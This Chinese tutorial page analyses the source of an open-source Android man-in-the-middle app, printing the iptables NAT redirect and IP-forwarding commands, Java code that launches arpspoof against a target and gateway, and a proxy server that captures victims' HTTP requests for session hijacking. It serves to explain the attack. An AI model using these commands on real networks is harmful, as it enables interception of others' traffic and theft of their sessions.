• linkedu视频
  • 平面设计
  • 电脑入门
  • 操作系统
  • 办公应用
  • 电脑硬件
  • 动画设计
  • 3D设计
  • 网页设计
  • CAD设计
  • 影音处理
  • 数据库
  • 程序设计
  • 认证考试
  • 信息管理
  • 信息安全
菜单
linkedu.com
  • 网页制作
  • 数据库
  • 程序设计
  • 操作系统
  • CMS教程
  • 游戏攻略
  • 脚本语言
  • 平面设计
  • 软件教程
  • 网络安全
  • 电脑知识
  • 服务器
  • 视频教程
  • JavaScript
  • ASP.NET
  • PHP
  • 正则表达式
  • AJAX
  • JSP
  • ASP
  • Flex
  • XML
  • 编程技巧
  • Android
  • swift
  • C#教程
  • vb
  • vb.net
  • C语言
  • Java
  • Delphi
  • 易语言
  • vc/mfc
  • 嵌入式开发
  • 游戏开发
  • ios
  • 编程问答
  • 汇编语言
  • 微信小程序
  • 数据结构
  • OpenGL
  • 架构设计
  • qt
  • 微信公众号
您的位置:首页 > 程序设计 >Android > Android 中间人攻击

Android 中间人攻击

作者:网友 字体:[增加 减小] 来源:互联网 时间:2017-05-26

网友通过本文主要向大家介绍了中间人攻击,中间人攻击软件,中间人攻击工具,ettercap中间人攻击,wifi中间人攻击等相关知识,希望对您有所帮助,也希望大家支持linkedu.com www.linkedu.com

Android 中间人攻击


0x00

Android中间人攻击的思路就是劫持局域网中被攻击机器和服务器间的对话。被攻击机器和服务器表面上工作正常,实际上已经被中间人劫持。可以从一张图来明白这个过程。

\

受攻击主机发送的数据,首先经过了攻击者,从服务器返回的数据也经过攻击者,再发送给受攻击主机。

0x01

Android开源中间人攻击例子,请参考https://github.com/ssun125/Lanmitm。我们这里主要分析这个链接中效果预览中会话劫持的原理。

\

分析https://github.com/ssun125/Lanmitm源代码,要实现arp欺骗,有关键的四步:

1、使用Iptables进行NAT数据包转发

	public static final String[] PORT_REDIRECT_CMD = {
			"iptables -t nat -F",
			"iptables -F",
			"iptables -t nat -I POSTROUTING -s 0/0 -j MASQUERADE",
			"iptables -P FORWARD ACCEPT",
			"iptables -t nat -A PREROUTING -j DNAT -p tcp --dport 80 --to "
					+ AppContext.getIp() + ":" + HttpProxy.HTTP_PROXY_PORT };
这个命令是在ProxyService类的startHttpProxy方法中调用的。

 

 

2、开启端口转发,允许本机像路由器那样转发数据包

 

	private String[] FORWARD_COMMANDS = { "echo 1 > /proc/sys/net/ipv4/ip_forward",
			"echo 1 > /proc/sys/net/ipv6/conf/all/forwarding" };
这个是在ArpService类的onStartCommand方法中调用的。

3、ARP投毒

 

		if ((ONE_WAY_HOST & arp_cheat_way) != 0) {
			if (target_ip == null)
				target_ip = AppContext.getTarget().getIp();

			if (!target_ip.equals(AppContext.getGateway()))
				arp_spoof_cmd = getFilesDir() + "/arpspoof -i " + interfaceName
						+ " -t " + target_ip + " "
						+ AppContext.getGateway();
			else
				arp_spoof_cmd = getFilesDir() + "/arpspoof -i " + interfaceName
						+ " -t " + AppContext.getGateway() + " "
						+ target_ip;

			arpSpoof = new Thread() {

				@Override
				public void run() {
					ShellUtils.execCommand(arp_spoof_cmd, true, false);
				}
			};
			arpSpoof.start();
		}
		if ((ONE_WAY_ROUTE & arp_cheat_way) != 0) {
			arp_spoof_recv_cmd = getFilesDir() + "/arpspoof -i " + interfaceName
					+ " -t " + AppContext.getGateway() + " "
					+ AppContext.getIp();

			arpSpoofRecv = new Thread() {
				@Override
				public void run() {
					ShellUtils.execCommand(arp_spoof_recv_cmd, true, false);
				}
			};
			arpSpoofRecv.start();
		}
这个是在ArpService类的onStartCommand方法中调用的。

4、在攻击者机器根据Socket原理,创建一个WebServer,原理类似于使用NanoHttpd实现简易WebServer。这样被攻击者发送给攻击者的请求就能被获取,并且显示在界面上。

核心的代码如下:

 

public class HttpProxy extends Thread {
	......
	@Override
	public void run() {
		try {
			mServerSocket = new ServerSocket();
			mServerSocket.setReuseAddress(true);
			mServerSocket.bind(
					new InetSocketAddress(AppContext.getInetAddress(),
							HTTP_PROXY_PORT), BACKLOG);
			executor = Executors.newCachedThreadPool();
			while (!stop) {
				Socket client = mServerSocket.accept();
				DealThread dealThread = null;
				switch (mProxyMode) {
				case MODE_PROXY_SIMPLE:
					dealThread = new SimpleDealThread(client,
							mOnRequestListener);
					break;
				case MODE_PROXY_DEEP:
					dealThread = new DeepDealThread(client, mOnRequestListener);
					break;
				}
				executor.execute(dealThread);
			}
		} catch (IOException e) {
			e.printStackTrace();
		} finally {
			if (mServerSocket != null) {
				try {
					mServerSocket.close();
				} catch (IOException e) {
					e.printStackTrace();
				}
			}
			if (executor != null) {
				executor.shutdownNow();
			}
		}
	}
	......
}

分享到:QQ空间新浪微博腾讯微博微信百度贴吧QQ好友复制网址打印

您可能想查找下面的文章:

  • Android 中间人攻击

相关文章

  • 2017-05-26Android自定义控件(二),android自定义控件
  • 2017-05-26MSM8909+Android5.1.1键盘驱动---sn7326介绍
  • 2017-05-26android四大组件之Broadcast,androidbroadcast
  • 2017-05-26A DB2 Performance Tuning Roadmap --DIVE INTO LOCK
  • 2017-05-26FragmentStatePagerAdapter和FragmentPagerAdapter区别,fragmentpageradapter
  • 2017-05-26Android 数据库SQLite 写入SD卡,androidsqlite
  • 2017-05-26Android 手机卫士1--实现splash页面,androidsplash
  • 2017-05-26解决 Could not find com.android.tools.build:gradle 问题,couldnotfindntldr
  • 2017-05-26配置gradle.properties,gradle.properties
  • 2017-05-26Android中使用ExpandableListView实现微信通讯录界面(完善仿微信APP),expandablelistview

文章分类

  • JavaScript
  • ASP.NET
  • PHP
  • 正则表达式
  • AJAX
  • JSP
  • ASP
  • Flex
  • XML
  • 编程技巧
  • Android
  • swift
  • C#教程
  • vb
  • vb.net
  • C语言
  • Java
  • Delphi
  • 易语言
  • vc/mfc
  • 嵌入式开发
  • 游戏开发
  • ios
  • 编程问答
  • 汇编语言
  • 微信小程序
  • 数据结构
  • OpenGL
  • 架构设计
  • qt
  • 微信公众号

最近更新的内容

    • android studio上的基本动画实现(第一篇),androidstudio
    • 源码解析Android中AsyncTask的工作原理
    • 仿拉手团购App6--注册界面,仿拉手团购app6--
    • 手机影音9--视频播放器的高级功能(2),9--高级功能
    • Android Studio导入Eclipse项目的两种方法,androideclipse
    • Android GZIP压缩IO流,优化APP数据传输(一),androidapp
    • 我的android学习经历16,android学习经历16
    • .5.9 AlertDialog(对话框)详解
    • Android Support 包知识,androidsupport
    • android插件开发-就是你了!启动吧!插件的activity(一)

关于我们 - 联系我们 - 免责声明 - 网站地图

©2020-2025 All Rights Reserved. linkedu.com 版权所有